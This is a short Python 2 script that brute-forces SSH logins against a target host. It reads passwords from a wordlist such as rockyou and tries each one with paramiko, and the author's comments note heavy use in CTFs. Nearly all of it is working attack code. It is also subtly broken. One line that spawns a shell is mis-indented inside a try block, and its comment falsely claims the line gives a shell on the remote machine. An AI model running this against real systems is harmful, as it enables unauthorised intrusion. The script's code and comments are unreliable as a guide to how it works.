import sys, paramiko

target = raw_input("What is the address of the target? ")
type(target)
#asks for the ip address, set it as raw input because of the . in the ip address

username = raw_input("What is the username you want attacked? ")
type(username)
#raw username input incase someone tries to see if itll accept words and numbers

password_file = raw_input("What is the explicit path of the password file? ")
type(password_file)
#asks for the password file, set as raw input because i wanted it to be able to find say the rockyou files in /usr/share/wordlists if explicltly typed in

print "Attacking "+ target+ " with username "+ username+ " and passwords in file " +password_file
#displays your choices back to you



def ssh(password, error_message =0):
#creates a function, states the function takes one input, called password
	try:
		client = paramiko.SSHClient()
		client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#complains that the host isnt in your trusted host thing if you dont have this line!

		client.connect(target, port=22, username=username, password=password)
#makes a connection to the target specified above, using port 22, the username specified above, and the password fed to the function

	import pty; pty.spawn("/bin/bash")
#this is a tricky piece of script i rely on HEAVILY when i do CTFs; it spwans a shell. so instead of just saying yes or no to the password, if it gets it right itll drop you into the machine!

	except paramiko.AuthenticationException:
		error_message = 1
#if the password is wrong set error_message to 1, so we can have the right line of text spat out

	client.close()
	return error_message




password_file = open(password_file)

for i in password_file.readlines():
	password = i.strip("\n")
#\n is a new line character, for some reason when python reads files it adds one in, so to get past this you literally tell it to strip the character when it finds it
	try:
		answer = ssh(password)

		if answer == 0:
			print("Password for " +username+ " is "+password)
			sys.exit(0)
		if answer == 1:
			print("Incorrect password " +password)

	except Exception, e:
		print e
		pass

password_file.close()